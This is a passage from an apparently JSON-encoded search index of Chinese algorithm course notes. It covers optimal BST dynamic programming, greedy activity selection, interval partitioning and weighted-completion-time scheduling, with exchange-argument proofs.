<p>\u4f7f\u7528\u8d2a\u5fc3\u548cAVL\u7b49\u7b97\u6cd5\u4e0d\u4e00\u5b9a\u53ef\u884c\uff0c\u4f7f\u7528\u5206\u6cbb\u6cd5\u53c8\u9700\u8981\u9996\u5148\u77e5\u9053\u6700\u4f18\u6839\u8282\u70b9\u5728\u54ea\u91cc\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u52a8\u6001\u89c4\u5212\u7684\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002</p> <p>\u5982\u679c\u6211\u4eec\u77e5\u9053\u6700\u4f18\u6839\u8282\u70b9\\(w_k\\),\u90a3\u4e48\u5728\u6574\u4e2a\u95ee\u9898\u7684\u6700\u4f18\u89e3\u4e2d\uff0c\u7531\u4e8e\u4e8b\u5148\u5df2\u7ecf\u6309\u7167\u5b57\u6bcd\u5e8f\u6392\u597d\uff0c\u5de6\u5b50\u6811\u5fc5\u7136\u662f\\(w_1 \\cdots w_{k-1}\\) \u7684\u6700\u4f18\u89e3\uff0c\u53f3\u5b50\u6811\u4e5f\u5fc5\u7136\u662f\\(w_{k+1} \\cdots w_n\\) \u7684\u6700\u4f18\u89e3\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u9012\u63a8\u5173\u7cfb</p> \\[  c_{ij} = \\sum_{k=i}^{j} p_k + \\min\\limits_{i \\leqslant k \\leqslant j} \\{ c_{i,k-1} + c_{k+1,j} \\}, \\quad i \\leqslant j. \\] <p>\u5176\u4e2d\\(p_k\\)\u4ee3\u8868\u6743\u91cd\uff0c\\(c_{ij}\\)\u4ee3\u8868\u4ece\\(i\\)\u5230\\(j\\)\u7684\u6700\u4f18\u6210\u672c\uff0c\\(c_{i,k-1}\\)\u4ee3\u8868\u5de6\u5b50\u6811\u7684\u6700\u4f18\u6210\u672c\uff0c\\(c_{k+1,j}\\)\u4ee3\u8868\u53f3\u5b50\u6811\u7684\u6700\u4f18\u6210\u672c\u3002</p> <p>\u524d\u9762\u7b2c\u4e00\u9879\u662f\u56e0\u4e3a\u7531\u4e8e\u6839\u8282\u70b9\u7684\u5b58\u5728\uff0c\u6240\u6709\u7684\u8282\u70b9\u90fd\u52a0\u6df1\u4e00\u5c42\uff0c\u662f\u4e24\u4e2a\u5b50\u95ee\u9898\u7ed3\u5408\u7684\u7ed3\u679c\uff0c\u540e\u9762\u7684\u9879\u662f\u5de6\u53f3\u5b50\u6811\u7684\u6700\u4f18\u89e3\u3002</p> <p>\u8fd9\u4e2a\u7b97\u6cd5\u662f\\(O(n^3)\\)\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u4f18\u5316\u5230\\(O(n^2)\\)</p>"},{"location":"NOTE/ADS/wk8/","title":"Greedy Algorithm","text":"<p> \u7ea6 3024 \u4e2a\u5b57  56 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p> <p>\u8d2a\u5fc3\u7b97\u6cd5\u4fdd\u8bc1\u6bcf\u6b21\u9009\u62e9\u90fd\u662f\u5c40\u90e8\u6700\u4f18\u7684\uff0c\u5982\u679c\u5c40\u90e8\u6700\u4f18\u4e5f\u662f\u5168\u5c40\u6700\u4f18\uff0c\u90a3\u4e48\u8d2a\u5fc3\u7b97\u6cd5\u5c31\u662f\u6b63\u786e\u7684\u3002</p>"},{"location":"NOTE/ADS/wk8/#_1","title":"\u6d3b\u52a8\u9009\u62e9\u95ee\u9898","text":"<p>\u95ee\u9898\u63cf\u8ff0</p> <p>\u7ed9\u5b9a\u4e00\u4e2a\u6d3b\u52a8\u96c6\u5408 \\(S = \\{a_1, a_2, \\ldots, a_n\\}\\)\uff0c\u5176\u4e2d\u6bcf\u4e2a\u6d3b\u52a8 \\(a_i\\) \u90fd\u6709\u4e00\u4e2a\u5f00\u59cb\u65f6\u95f4 \\(s_i\\) \u548c\u7ed3\u675f\u65f6\u95f4 \\(f_i\\)\uff0c\u4e14 \\(0 \\leqslant s_i &lt; f_i &lt; \\infty\\)\u3002\u5982\u679c\u6d3b\u52a8 \\(a_i\\) \u548c \\(a_j\\) \u6ee1\u8db3 \\(f_i \\leqslant s_j\\) \u6216 \\(f_j \\leqslant s_i\\)\uff0c\u5219\u79f0\u6d3b\u52a8 \\(a_i\\) \u548c \\(a_j\\) \u662f\u517c\u5bb9\u7684\uff08\u5373\u4e8c\u8005\u65f6\u95f4\u4e0d\u4f1a\u91cd\u5408\uff09\u3002\u6d3b\u52a8\u9009\u62e9\u95ee\u9898\u5c31\u662f\u8981\u627e\u5230\u4e00\u4e2a\u6700\u5927\u7684\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u3002</p> <p>\u52a8\u6001\u89c4\u5212</p> <p>\u6211\u4eec\u5047\u8bbe\u8f93\u5165\u4e2d\u662f\u6309\u7167 \\(n\\) \u4e2a\u6d3b\u52a8\u7ed3\u675f\u65f6\u95f4\u4ece\u5c0f\u5230\u5927\u6392\u5217\u7684\u3002\u53ef\u4ee5\u8bbe\u8ba1\u51fa\u4e24\u79cd\u52a8\u6001\u89c4\u5212\u7684\u9012\u63a8\u5f0f\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff1a</p> <ol> <li>\u8bbe \\(S_{ij}\\) \u8868\u793a\u6d3b\u52a8 \\(a_i\\) \u548c \\(a_j\\) \u4e4b\u95f4\u7684\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u96c6\u5408\uff08\u5f00\u59cb\u65f6\u95f4\u5728 \\(a_i\\) \u7ed3\u675f\u4e4b\u540e\uff0c\u7ed3\u675f\u65f6\u95f4\u5728 \\(a_j\\) \u5f00\u59cb\u4e4b\u524d\uff09\uff0c\u5176\u5927\u5c0f\u8bb0\u4e3a \\(c_{ij}\\)\uff0c\u90a3\u4e48\u6211\u4eec\u6709</li> </ol> \\[ c_{ij} = \\max \\{ c_{ik} + c_{kj} + 1 \\mid f_i \\leqslant s_k &lt; f_k \\leqslant s_j \\} \\] <p>\u8fd9\u4e00\u89e3\u6cd5\u7684\u601d\u60f3\u66f4\u63a5\u8fd1\u77e9\u9635\u4e58\u6cd5\u987a\u5e8f\u95ee\u9898\uff0c\u6211\u4eec\u4f1a\u9009\u62e9\u4e2d\u95f4\u7684\u6700\u4f18\u89e3\u7136\u540e\u5206\u4e3a\u5de6\u53f3\u5b50\u95ee\u9898\u9012\u5f52\u3002</p> <ol> <li>\u8bbe \\(S_i\\) \u8868\u793a\u6d3b\u52a8 \\(a_1, a_2, \\ldots, a_i\\) \u7684\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u96c6\u5408\uff0c\u5176\u5927\u5c0f\u8bb0\u4e3a \\(c_i\\)\uff0c\u90a3\u4e48\u6211\u4eec\u6709</li> </ol> \\[     c_i = \\max \\{ c_{i-1}, c_{k(i)} + 1 \\} \\] <p>\u5176\u4e2d \\(k(i)\\) \u8868\u793a\u5728 \\(1 \\leqslant k \\leqslant i\\) \u4e2d\uff0c\\(f_k \\leqslant s_i\\) \u4e14\\(c_k\\)\u6700\u5927\u7684\\(k\\),\u5373\u4e0d\u4e0e\\(a_i\\)\u51b2\u7a81\u7684\u6700\u665a\u7ed3\u675f\u7684\u6d3b\u52a8\u8fd9\u4e00\u601d\u60f3\u66f4\u63a5\u8fd1\u80cc\u5305\u95ee\u9898\u7684\u601d\u8def\uff0c\u5373\u6211\u4eec\u8003\u8651\u6700\u540e\u4e00\u4e2a\u662f\u5426\u5728\u89e3\u4e2d\uff0c\u5206\u6210\u4e24\u79cd\u60c5\u51b5\u8003\u8651\u3002</p> <p>Property</p> <p>\u4e24\u79cd\u52a8\u6001\u89c4\u5212\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u90fd\u662f \\(O(n^3)\\)\uff0c\u53ef\u4ee5\u4f18\u5316\u4e3a \\(O(n^2)\\)\u3002</p> <p>\u8d2a\u5fc3\u7b97\u6cd5</p> <p>\u5f88\u591a\u65f6\u5019\u4f7f\u7528\u8d2a\u5fc3\u53ea\u9700\u8981\u4e00\u6b21\u904d\u5386\u5c31\u80fd\u627e\u5230\u6700\u4f18\u89e3\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u8d2a\u5fc3\u7b97\u6cd5\u6765\u89e3\u51b3\u6d3b\u52a8\u9009\u62e9\u95ee\u9898\u3002</p> <p>\u6211\u4eec\u4f9d\u6b21\u6392\u597d\u5e8f\u540e\u9009\u62e9 \u4e0d\u51b2\u7a81\u7684\u7ed3\u675f\u65f6\u95f4\u6700\u65e9\u7684\u4e8b\u4ef6(\u6216\u8005\u4ece\u540e\u5f80\u524d\u770b\u4f9d\u6b21\u9009\u62e9\u4e0d\u51b2\u7a81\u7684\u5f00\u59cb\u65f6\u95f4\u6700\u665a\u7684\u4e8b\u4ef6) \u52a0\u5230\u6700\u4f18\u89e3\u4e2d</p> <p>Proof</p> <p>\u5047\u8bbe \\(a_k\\) \u662f \\(a_1, a_2, \\ldots, a_n\\) \u4e2d\u7ed3\u675f\u65f6\u95f4\u6700\u65e9\u7684\u6d3b\u52a8\uff0c\u90a3\u4e48 \\(a_k\\) \u4e00\u5b9a\u662f\u67d0\u4e2a\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u7684\u4e00\u90e8\u5206\u3002\u56e0\u4e3a\u5982\u679c \\(a_k\\) \u4e0d\u5728\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c06 \\(a_k\\) \u66ff\u6362\u4e3a\u6700\u5927\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u4e2d\u7684\u67d0\u4e2a\u6d3b\u52a8\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u5f97\u5230\u4e86\u4e00\u4e2a\u66f4\u5927\u7684\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\uff0c\u8fd9\u4e0e\u6211\u4eec\u7684\u5047\u8bbe\u77db\u76fe\u3002 </p> <p>Property</p> <p>\u5982\u679c\u6d3b\u52a8\u5df2\u7ecf\u6392\u597d\u5e8f\u6392\u5e8f\uff0c\u90a3\u4e48\u8d2a\u5fc3\u7b97\u6cd5\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(n)\\)\u3002</p> <p>\u5426\u5219\u9700\u8981\u6392\u5e8f\uff0c\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(n \\log n)\\)\u3002</p> <p>Extra</p> <ul> <li> <p>\u52a0\u6743\u6d3b\u52a8\u9009\u62e9\u95ee\u9898\uff1a\u6bcf\u4e2a\u6d3b\u52a8 \\(a_i\\) \u90fd\u6709\u4e00\u4e2a\u6743\u91cd \\(w_i\\)\uff0c\u6211\u4eec\u8981\u627e\u5230\u4e00\u4e2a\u6700\u5927\u6743\u91cd\u7684\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u3002</p> <p>\u6b64\u65f6\u52a8\u6001\u89c4\u5212\u4ecd\u7136\u53ef\u884c\uff0c\u4f46\u662f\u8d2a\u5fc3\u7b97\u6cd5\u4e0d\u53ef\u884c\uff1b</p> </li> <li> <p>\u533a\u95f4\u8c03\u5ea6\u95ee\u9898\uff1a\u6211\u4eec\u73b0\u5728\u7684\u95ee\u9898\u4e0d\u518d\u662f\u6700\u5927\u5316\u517c\u5bb9\u96c6\u5408\u7684\u5927\u5c0f\u6216\u8005\u6743\u91cd\uff0c\u800c\u662f\u6240\u6709\u6d3b\u52a8\u90fd\u5fc5\u987b\u4e3e\u529e\uff0c\u8003\u8651\u5c06\u6240\u6709\u6d3b\u52a8\u5206\u914d\u5230\u6700\u5c11\u7684\u6559\u5ba4\u4e2d\uff0c\u4f7f\u5f97\u6bcf\u4e2a\u6559\u5ba4\u5185\u7684\u6d3b\u52a8\u4e0d\u51b2\u7a81\u3002</p> <p>\u6211\u4eec\u53ef\u4ee5\u7528\u8d2a\u5fc3\u7b97\u6cd5\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898:\u5c06\u6240\u6709\u6d3b\u52a8\u6309\u7167\u5f00\u59cb\u65f6\u95f4\u6392\u5e8f\uff0c\u8bbe\u7f6e\u521d\u59cb\u6559\u5ba4\u6570\u91cf\u4e3a 1\uff0c\u7136\u540e\u4ece\u524d\u5f80\u540e\u904d\u5386\u3002\u6bcf\u6b21\u9009\u62e9\u4e00\u4e2a\u6d3b   \u52a8\u65f6\uff0c\u6211\u4eec\u90fd\u770b\u5f53\u524d\u7684\u6559\u5ba4\u4e2d\u7684\u6d3b\u52a8\u6709\u6ca1\u6709\u4e0d\u51b2\u7a81\u7684\uff0c\u5982\u679c\u6709\u5c31\u76f4\u63a5\u653e\u8fdb\u5bf9\u5e94\u7684\u6559\u5ba4\uff0c\u5982\u679c\u5168\u90e8\u51b2\u7a81\u5219\u65b0\u5f00\u4e00\u4e2a\u6559\u5ba4</p> </li> </ul> <p> </p> <p>(a) \u5c55\u793a\u4e86\u4e00\u4e2a\u4f8b\u5b50,\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u6700\u591a\u540c\u4e00\u65f6\u95f4\u6709\u4e09\u4e2a\u6d3b\u52a8\u90a3\u540c\u65f6\u8fdb\u884c\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u4e09\u4e2a\u6559\u5ba4\uff0c\u5982\u679c\u9700\u8981\u56db\u4e2a\u6559\u5ba4\uff0c\u8bf4\u660e\u81f3\u5c11\u67d0\u4e00\u65f6\u523b\u6709\u56db\u4e2a\u6d3b\u52a8\u540c\u65f6\u8fdb\u884c\uff0c\u8fd9\u662f\u4e0d\u53ef\u80fd\u7684\u3002</p> <p>(b) \u5c55\u793a\u4e86\u4e00\u4e2a\u8d2a\u5fc3\u7b97\u6cd5\u7684\u5b9e\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4ece\u524d\u5f80\u540e\uff0c\u6211\u4eec\u9996\u5148\u9009\u62e9a,b,c,\u53d1\u73b0\u4e09\u4e2a\u6d3b\u52a8\u540c\u65f6\u8fdb\u884c\uff0c\u6240\u4ee5\u5f00\u51fa\u4e09\u4e2a\u6559\u5ba4\uff0c\u7136\u540e\u5230e\uff0cd\uff0c\u53d1\u73b0\u5176\u53ef\u4ee5\u653e\u8fdb\u4e0d\u51b2\u7a81\u7684c\uff0ca\u6559\u5ba4\u4e2d\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u6700\u540e\u7528\u4e09\u4e2a\u6559\u5ba4\u89e3\u51b3\u95ee\u9898</p>"},{"location":"NOTE/ADS/wk8/#_2","title":"\u8c03\u5ea6\u95ee\u9898","text":"<p>\u95ee\u9898\u63cf\u8ff0</p> <p>\u5047\u8bbe\u6211\u4eec\u73b0\u5728\u6709 \\(n\\) \u4e2a\u4efb\u52a1\uff0c\u6bcf\u4e2a\u4efb\u52a1 \\(i\\) \u90fd\u6709\u4e00\u4e2a\u6b63\u7684\u5b8c\u6210\u9700\u8981\u7684\u65f6\u95f4 \\(li\\) \u548c\u4e00\u4e2a\u6743\u91cd \\(wi\\)\u3002\u5047\u5b9a\u6211\u4eec\u53ea\u80fd\u6309\u4e00\u5b9a\u987a\u5e8f\u4f9d\u6b21\u6267\u884c\u8fd9\u4e9b\u4efb\u52a1\uff0c\u4e0d\u80fd\u5e76\u884c\u3002\u5f88\u663e\u7136\u7684\uff0c\u6211\u4eec\u6709 \\(n!\\) \u79cd\u8c03\u5ea6\u65b9\u6cd5\uff0c\u6211\u4eec\u8bb0 \\(\\sigma\\) \u4e3a\u67d0\u4e00\u79cd\u8c03\u5ea6\uff0c\u90a3\u4e48\u5728\u8c03\u5ea6 \\(\\sigma\\) \u4e2d\uff0c\u4efb\u52a1 \\(i\\) \u7684\u5b8c\u6210\u65f6\u95f4 \\(Ci(\\sigma)\\)\u662f \\(\\sigma\\) \u4e2d\u5728 \\(i\\) \u4e4b\u524d\u7684\u4efb\u52a1\u957f\u5ea6\u4e4b\u548c\u52a0\u4e0a \\(i\\) \u672c\u8eab\u7684\u957f\u5ea6\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u5728\u4e00\u79cd\u8c03\u5ea6\u4e2d\uff0c\u4e00\u4e2a\u4efb\u52a1\u7684\u5b8c\u6210\u65f6\u95f4 \u5c31\u662f\u8fd9\u4e2a\u4efb\u52a1\u4ece\u6574\u4e2a\u6d41\u7a0b\u5f00\u59cb\u5230\u5b83\u81ea\u5df1\u88ab\u6267\u884c\u5b8c\u6bd5\u603b\u5171\u6267\u884c\u7684\u65f6\u95f4\u3002\u6211\u4eec\u7684\u76ee\u6807\u662f\u6700\u5c0f\u5316\u52a0\u6743\u5b8c\u6210\u65f6</p> \\[      T=\\min\\sum_{i=1}^{n} w_i \\cdot C_i(\\sigma) \\] <p>\u6211\u4eec\u8fd0\u7528\u8d2a\u5fc3\u7b97\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u9996\u5148\uff0c\u5982\u679c\u5b83\u4eec\u6743\u91cd\u4e00\u6837\uff0c\u90a3\u4e48\u6211\u4eec\u6bcf\u6b21\u90fd\u9009\u62e9\u65f6\u95f4\u6700\u77ed\u7684\u4efb\u52a1\u3002\u5982\u679c\u65f6\u95f4\u4e00\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u4efb\u52a1\u6309\u7167\u6743\u91cd\u6392\u5e8f\uff0c\u7136\u540e\u4f9d\u6b21\u9009\u62e9\u6743\u91cd\u6700\u5927\u7684\u3002\u90a3\u4e48\u73b0\u5728\u6211\u4eec\u8981\u540c\u65f6\u8003\u8651\u6743\u91cd\u6700\u5927\uff0c\u65f6\u95f4\u6700\u77ed\u7684\u4efb\u52a1\uff1a</p> <ul> <li> <p>\u8ba1\u7b97\u6bcf\u4e2a\u4efb\u52a1\u7684\\(w_i-l_i\\),\u4ece\u5927\u5230\u5c0f\u964d\u5e8f\u8c03\u5ea6\u4efb\u52a1(\\(l_i-w_i\\),\u4ece\u5c0f\u5230\u5927)</p> </li> <li> <p>\\(\\dfrac{w_i}{l_i}\\),\u4ece\u5927\u5230\u5c0f\u964d\u5e8f\u8c03\u5ea6\u4efb\u52a1(\\(\\dfrac{l_i}{w_i}\\),\u4ece\u5c0f\u5230\u5927)</p> </li> </ul> <p>Eg</p> <p>\u6709\u4e24\u4e2a\u4efb\u52a1\uff0c\\(l1 = 5, l2 = 2, w1 = 3, w2 = 1\\)\u4e24\u79cd\u65b9\u6cd5\u4f1a\u8fd4\u56de\u4e0d\u540c\u7684\u7ed3\u679c\uff0c\u800c\u7b2c\u4e8c\u79cd\u624d\u80fd\u8fd4\u56de\u6700\u4f18\u89e3\u3002</p> <p>\u5f53\u7136\u8fd9\u53ea\u80fd\u8bf4\u660e\u7b2c\u4e00\u79cd\u5fc5\u7136\u662f\u9519\u8bef\u7684\uff0c\u5bf9\u4e8e\u7b2c\u4e8c\u79cd\u7684\u6b63\u786e\u6027\u4ecd\u7136\u9700\u8981\u8bc1\u660e\u3002</p> <p>Proof</p> <p>\u8c03\u5ea6\u95ee\u9898\u7684\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28 \u4ee4 \\(i\\) \u662f\u5f53\u524d \\(w_i / l_i\\) \u6700\u5927\u7684\u4efb\u52a1\uff0c\u5219\u5728\u5f53\u524d\u95ee\u9898\u4e0b\uff0c\u5fc5\u4e00\u5b9a\u5b58\u5728\u5c06 \\(i\\) \u6392\u5728\u9996\u4f4d\u7684\u6700\u4f18\u8c03\u5ea6\u65b9\u5f0f\u3002</p> <p>\u6211\u4eec\u4ecd\u7136\u4f7f\u7528\u201c\u4ea4\u6362\u53c2\u6570\u6cd5\u201d\uff1a\u5047\u8bbe\u6709\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C\\)\uff0c\u5982\u679c\u5b83\u7684\u7b2c\u4e00\u4e2a\u4efb\u52a1\u662f \\(i\\)\uff0c\u7ed3\u8bba\u6210\u7acb\u3002\u5982\u679c\u4e0d\u662f\uff0c\u6211\u4eec\u8003\u8651\u5c06 \\(i\\) \u4e0d\u65ad\u4e0e\u524d\u4e00\u4e2a\u4efb\u52a1\u4ea4\u6362\uff0c\u76f4\u5230\u6362\u5230\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\u7684\u8fc7\u7a0b\u3002\u5047\u8bbe\u73b0\u5728\u6392\u5728 \\(i\\) \u524d\u9762\u7684\u4e00\u4e2a\u4efb\u52a1\u662f \\(j\\)\uff0c\u6211\u4eec\u77e5\u9053\u4e00\u5b9a\u6709</p> \\[ \\frac{w_i}{l_i} \\geqslant \\frac{w_j}{l_j} \\] <p>\u53c8\u6240\u6709\u6570\u90fd\u6b63\uff0c\u6545\u6709 \\(w_i l_j - w_j l_i \\geqslant 0\\)\u3002\u4e0d\u96be\u770b\u51fa\uff0c\\(i\\) \u548c \\(j\\) \u4ea4\u6362\u524d\u540e\u5176\u5b83\u7684\u4efb\u52a1\u52a0\u6743\u65f6\u95f4\u5b8c\u5168\u6ca1\u6709\u53d8\u5316\u3002\u53d8\u5316\u4ec5\u5728\u4e8e \\(i\\) \u548c \\(j\\)\u3002\u8bbe\u5728 \\(i\\) \u524d\u9762\u7684\u603b\u65f6\u95f4\u4e3a \\(t\\)\uff0c\u5219\u4ea4\u6362\u524d \\(i\\) \u548c \\(j\\) \u7684\u52a0\u6743\u65f6\u95f4\u548c\u4e3a</p> \\[ t_1 = w_j (t + l_i) + w_i (t + l_i + l_j), \\] <p>\u4ea4\u6362\u540e\u4e3a</p> \\[ t_2 = w_i (t + l_j) + w_j (t + l_i + l_j), \\] <p>\u4e8c\u8005\u4f5c\u5dee\u5316\u7b80\u6709</p> \\[ t_1 - t_2 = w_i l_j - w_j l_i \\geqslant 0, \\] <p>\u6545\u7531\uff1a\u5f80\u524d\u6362\uff0c\u52a0\u6743\u65f6\u95f4\u548c\u4e00\u5b9a\u4e0d\u4f1a\u53d8\u5927\uff0c\u6545\u4ecd\u7136\u4fdd\u8bc1\u6700\u4f18\u89e3\u3002\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4e0d\u65ad\u628a \\(i\\) \u5f80\u524d\u6362\uff0c\u76f4\u5230\u5b83\u5728\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u8fd9\u6837\u5c31\u8bc1\u660e\u4e86\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28\u3002</p> <p>\u8c03\u5ea6\u95ee\u9898\u7684\u6700\u4f18\u5b50\u7ed3\u6784 \u5728\u8c03\u5ea6\u95ee\u9898 \\(S\\) \u4e2d\uff0c\u6211\u4eec\u7528\u8d2a\u5fc3\u7b56\u7565\u9009\u51fa \\(w_i / l_i\\) \u6700\u5927\u7684 \\(i\\) \u5bf9\u5e94\u7684\u4efb\u52a1\u540e\uff0c\u5269\u4e0b\u7684\u5b50\u95ee\u9898 \\(S_1\\)\uff08\u5373\u5728\u9664\u53bb \\(i\\) \u7684\u4efb\u52a1\u4e2d\u5bfb\u627e\u4e00\u4e2a\u6700\u5c0f\u5316\u52a0\u6743\u5b8c\u6210\u65f6\u95f4\u4e4b\u548c\u7684\u89e3\uff09\u7684\u6700\u4f18\u89e3 \\(C_1\\) \u548c \\(i\\) \u4e00\u8d77\u4e00\u5b9a\u6784\u6210\u4e86\u539f\u95ee\u9898\u7684\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C\\)\u3002</p> <p>\u548c\u8d2a\u5fc3\u9009\u62e9\u95ee\u9898\u5b8c\u5168\u4e00\u81f4\uff0c\u975e\u5e38\u901a\u8fc7\u7684\u7ed3\u8bba\u5c31\u662f\u7528\u53cd\u8bc1\u6cd5\u60f3\u6cd5\uff1a\u5982\u679c \\(C\\) \u4e0d\u662f\u6700\u4f18\u89e3\uff0c\u90a3\u4e48\u5fc5\u5b9a\u6709\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C'\\)\uff0c\u5b83\u5bf9\u5e94\u7684\u52a0\u6743\u5b8c\u6210\u65f6\u95f4\u8bb0\u4e3a \\(T'&lt; T\\)\uff0c\u5176\u4e2d \\(T\\) \u662f \\(C\\) \u5bf9\u5e94\u7684\u52a0\u6743\u5b8c\u6210\u65f6\u95f4\u4e4b\u548c\u3002</p> <p>\u6839\u636e\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28\uff0c\u5982\u679c\u628a \\(C'\\) \u4e2d\u7684 \\(i\\) \u4e0d\u65ad\u901a\u8fc7\u76f8\u90bb\u4ea4\u6362\u6362\u5230\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u60c5\u51b5\u4e00\u5b9a\u4e0d\u4f1a\u53d8\u5dee\uff0c\u56e0\u6b64\u5f97\u5230\u89e3 \\(C''\\)\uff0c\u6211\u4eec\u5c06\u8fd9\u4e00\u8fc7\u7a0b\u7684\u6700\u4f18\u8bb0\u4e3a \\(C''\\)\u3002\u4e8e\u662f \\(C''\\) \u5728\u9009\u62e9\u4e86 \\(i\\) \u4e4b\u540e\uff0c\u5269\u4e0b\u7684\u9009\u62e9\u5b9e\u9645\u4e5f\u662f\\(S_1\\)\u7684\u4e00\u4e2a\u89e3\uff0c\uff0c\u7531\u4e8e \\(T\u2032 &lt; T\\)\uff0c\u8fd9\u8868\u660e \\(C''\\) \u4e2d\u5bf9\u5e94\u7684 \\(S1\\) \u7684\u89e3\u5fc5\u5b9a\u6bd4 \\(C1\\) \u66f4\u597d\uff0c\u4f46\u6211\u4eec\u77e5\u9053 \\(C1\\) \u662f\u6700\u4f18\u89e3\uff0c\u56e0\u6b64\u5f97\u5230\u77db\u76fe\u3002\u6240\u4ee5 \\(C1\\) \u548c \\(i\\) \u4e00\u8d77\u4e00\u5b9a\u6784\u6210\u4e86\u539f\u95ee\u9898\u7684\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C\\)\u3002\u7efc\u4e0a\u4ee5\u53cd\u8bc1\u6cd5\uff0c\u6211\u4eec\u6700\u7ec8\u5f97\u4ee5\u9a8c\u8bc1\u4e86\u95ee\u9898\u7684\u6700\u4f18\u89e3\u53ef\u4ee5\u901a\u8fc7\u8d2a\u5fc3 + \u6700\u4f18\u5b50\u7ed3\u6784\u7684\u65b9\u5f0f\u5f97\u5230\u3002</p> <p>Extra</p> <ul> <li> <p>\u6700\u5c0f\u5316\u6700\u5927\u5ef6\u65f6:\u8bbe\u6709 \\(n\\) \u4e2a\u4efb\u52a1\uff0c\u6bcf\u4e2a\u4efb\u52a1 \\(j\\) \u5177\u6709\u4e00\u4e2a\u5b8c\u6210\u9700\u8981\u7684\u65f6\u95f4 \\(t_j\\)\uff0c\u4ee5\u53ca\u4e00\u4e2a\u622a\u6b62\u65e5\u671f \\(d_j\\)\u3002\u6211\u4eec\u53ea\u80fd\u4f9d\u6b21\u5b8c\u6210\u8fd9\u4e9b\u4efb\u52a1\uff0c\u4e0d\u80fd\u5e76\u884c   \u4e09\u4e2a\u4efb\u52a1\u957f\u5ea6\u5206\u522b\u4e3a 1\u30012\u30013\uff0c\u622a\u6b62\u65e5\u671f\u5206\u522b\u4e3a 2\u30014\u30016\uff0c\u6309\u5982\u56fe\u65b9\u5f0f\u6392\u5e8f\uff0c\u6240\u6709\u4efb\u52a1\u90fd\u80fd\u5728\u622a\u6b62\u524d\u5b8c\u6210\u3002</p> <ul> <li> <p>\u6309\u7167\u7528\u65f6\u6392\u5e8f\uff0c\u7528\u65f6\u77ed\u7684\u5148\u5b8c\u6210\uff1b\u8fd9\u79cd\u505a\u6cd5\u662f\u9519\u8bef\u7684\uff0c\u56e0\u4e3a\u7528\u65f6\u77ed\u7684\u4efb\u52a1\u6709\u53ef\u80fd\u622a\u81f3\u65e5\u671f\u5f88\u957f</p> </li> <li> <p>\u6309\u7167\\(d_j-t_j\\)\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\uff0c\u8fd9\u4f3c\u4e4e\u770b\u8d77\u6765\u6b63\u786e\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u4e5f\u662f\u9519\u8bef\u7684\uff0c\u4f8b\u5982\u4efb\u52a11\u7528\u65f61\u5929\uff0c3\u5929\u540e\u622a\u81f3\uff0c\u4efb\u52a12\u7528\u65f610\u5929\uff0c11\u5929\u540e\u622a\u81f3\uff0c\u8fd9\u6837\u6392\u5e8f\u540e\u4efb\u52a12\u4f1a\u5728\u622a\u81f3\u65e5\u671f\u524d\u5b8c\u6210\uff0c\u4f46\u662f\u4efb\u52a11\u4f1a\u5728\u622a\u81f3\u65e5\u671f\u540e\u5b8c\u6210\uff1b</p> </li> </ul> </li> <li> <p>\u5b9e\u9645\u4e0a\u4e0a\u9762\u4e24\u79cd\u601d\u8def\u51fa\u73b0\u4e86\u77db\u76fe\uff0c\u5bf9\u4e8e\u7b2c\u4e00\u79cd\uff0c\u5b8c\u6210\u65f6\u95f4\u77ed\u7684\u5e94\u8be5\u65e9\u5b8c\u6210\uff0c\u5728\u7b2c\u4e8c\u79cd\u601d\u8def\u4e2d\uff0c\u5b8c\u6210\u65f6\u95f4\u77ed\u7684\uff0c\u5197\u4f59\u65f6\u95f4\u53cd\u800c\u5927\uff0c\u5e94\u8be5\u665a\u5b8c\u6210\uff1b\u8fd9\u5c31\u9677\u5165\u4e86\u4e00\u4e2a\u5c34\u5c2c\u7684\u5883\u5730\uff0c\u6211\u4eec\u4e0d\u77e5\u9053\\(t_j\\)\u5e94\u8be5\u88ab\u5982\u4f55\u8003\u8651----\u7b54\u6848\u662f\u6211\u4eec\u4e0d\u9700\u8981\u8003\u8651\uff0c\u6211